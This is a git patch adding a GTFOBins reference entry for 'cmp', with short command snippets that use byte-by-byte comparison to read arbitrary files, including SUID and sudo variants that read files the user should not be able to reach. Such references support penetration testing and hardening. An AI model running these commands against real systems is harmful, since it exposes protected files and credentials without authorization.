From a9313397a04ca46329cc341071df9f93bf977797 Mon Sep 17 00:00:00 2001 From: LinuxSploit <68427058+LinuxSploit@users.noreply.github.com> Date: Tue, 13 Jul 2021 10:33:49 +0500 Subject: [PATCH] Create cmp.md --- _gtfobins/cmp.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 _gtfobins/cmp.md diff --git a/_gtfobins/cmp.md b/_gtfobins/cmp.md new file mode 100644 index 0000000..15b86ec --- /dev/null +++ b/_gtfobins/cmp.md @@ -0,0 +1,21 @@ +--- +functions: + file-read: + - code: | + LFILE=file-to-read + TEMP=$(mktemp) + printf 'A%.0s' {1..999} > $TEMP + cmp $LFILE $TEMP -b -n 999 -l + suid: + - code: | + LFILE=file-to-read + TEMP=$(mktemp) + printf 'a%.0s' {1..999} > $TEMP + cmp $LFILE $TEMP -b -n 999 -l + sudo: + - code: | + LFILE=file-to-read + TEMP=$(mktemp) + printf 'a%.0s' {1..999} > $TEMP + sudo cmp $LFILE $TEMP -b -n 999 -l +---